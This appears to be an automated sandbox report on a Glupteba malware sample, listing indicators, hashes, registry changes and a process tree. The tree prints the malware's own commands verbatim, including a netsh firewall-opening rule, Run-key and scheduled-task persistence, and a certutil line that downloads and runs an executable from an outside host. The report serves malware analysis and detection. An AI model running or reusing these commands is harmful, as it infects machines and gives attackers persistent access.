Analysis
-
max time kernel
158s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220722-en -
resource tags
arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system -
submitted
02-08-2022 03:19
Behavioral task
behavioral1
Sample
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
Resource
win7-20220718-en
General
-
Target
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
-
Size
4.2MB
-
MD5
d7b5c0dfacada838878509c0e797e38c
-
SHA1
c03590cbfeba3f9820457e4ac083144896c7b4c6
-
SHA256
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
-
SHA512
0af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
Malware Config
Signatures
-
Glupteba payload 10 IoCs
Processes:
resource yara_rule behavioral2/memory/3664-134-0x0000000005540000-0x0000000005C36000-memory.dmp family_glupteba behavioral2/memory/3664-135-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/3664-136-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/3664-137-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/3664-139-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/1456-141-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/1456-144-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/1456-148-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/1440-151-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral2/memory/1440-157-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 2336 created 3664 2336 svchost.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe PID 2336 created 1440 2336 svchost.exe csrss.exe PID 2336 created 1440 2336 svchost.exe csrss.exe PID 2336 created 1440 2336 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1440 csrss.exe 992 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Processes:
resource yara_rule behavioral2/memory/3664-132-0x0000000000400000-0x0000000004B5B000-memory.dmp upx behavioral2/memory/1456-140-0x0000000000400000-0x0000000004B5B000-memory.dmp upx C:\Windows\rss\csrss.exe upx C:\Windows\rss\csrss.exe upx behavioral2/memory/1440-149-0x0000000000400000-0x0000000004B5B000-memory.dmp upx behavioral2/memory/1440-150-0x0000000000400000-0x0000000004B5B000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DarkDream = "\"C:\\Windows\\rss\\csrss.exe\"" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 2632 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exedescription ioc process File opened for modification C:\Windows\rss 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe File created C:\Windows\rss\csrss.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4888 schtasks.exe 4908 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execsrss.exepid process 3664 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 3664 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 1440 csrss.exe 1440 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3664 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Token: SeImpersonatePrivilege 3664 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Token: SeTcbPrivilege 2336 svchost.exe Token: SeTcbPrivilege 2336 svchost.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe Token: SeSystemEnvironmentPrivilege 1440 csrss.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe Token: SeBackupPrivilege 2336 svchost.exe Token: SeRestorePrivilege 2336 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execmd.execsrss.exedescription pid process target process PID 2336 wrote to memory of 1456 2336 svchost.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe PID 2336 wrote to memory of 1456 2336 svchost.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe PID 2336 wrote to memory of 1456 2336 svchost.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe PID 1456 wrote to memory of 2624 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 1456 wrote to memory of 2624 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 2624 wrote to memory of 3548 2624 cmd.exe netsh.exe PID 2624 wrote to memory of 3548 2624 cmd.exe netsh.exe PID 1456 wrote to memory of 1440 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 1456 wrote to memory of 1440 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 1456 wrote to memory of 1440 1456 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 2336 wrote to memory of 4888 2336 svchost.exe schtasks.exe PID 2336 wrote to memory of 4888 2336 svchost.exe schtasks.exe PID 2336 wrote to memory of 4908 2336 svchost.exe schtasks.exe PID 2336 wrote to memory of 4908 2336 svchost.exe schtasks.exe PID 2336 wrote to memory of 992 2336 svchost.exe patch.exe PID 2336 wrote to memory of 992 2336 svchost.exe patch.exe PID 1440 wrote to memory of 2632 1440 csrss.exe bcdedit.exe PID 1440 wrote to memory of 2632 1440 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD5d7b5c0dfacada838878509c0e797e38c
SHA1c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA2565a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA5120af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD5d7b5c0dfacada838878509c0e797e38c
SHA1c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA2565a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA5120af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
-
memory/992-154-0x0000000000000000-mapping.dmp
-
memory/1440-145-0x0000000000000000-mapping.dmp
-
memory/1440-157-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1440-151-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1440-150-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1440-149-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1456-138-0x0000000000000000-mapping.dmp
-
memory/1456-144-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1456-141-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1456-140-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/1456-148-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/2624-142-0x0000000000000000-mapping.dmp
-
memory/2632-156-0x0000000000000000-mapping.dmp
-
memory/3548-143-0x0000000000000000-mapping.dmp
-
memory/3664-137-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/3664-132-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/3664-136-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/3664-135-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/3664-134-0x0000000005540000-0x0000000005C36000-memory.dmpFilesize
7.0MB
-
memory/3664-139-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
-
memory/3664-133-0x0000000005190000-0x0000000005537000-memory.dmpFilesize
3.7MB
-
memory/4888-152-0x0000000000000000-mapping.dmp
-
memory/4908-153-0x0000000000000000-mapping.dmp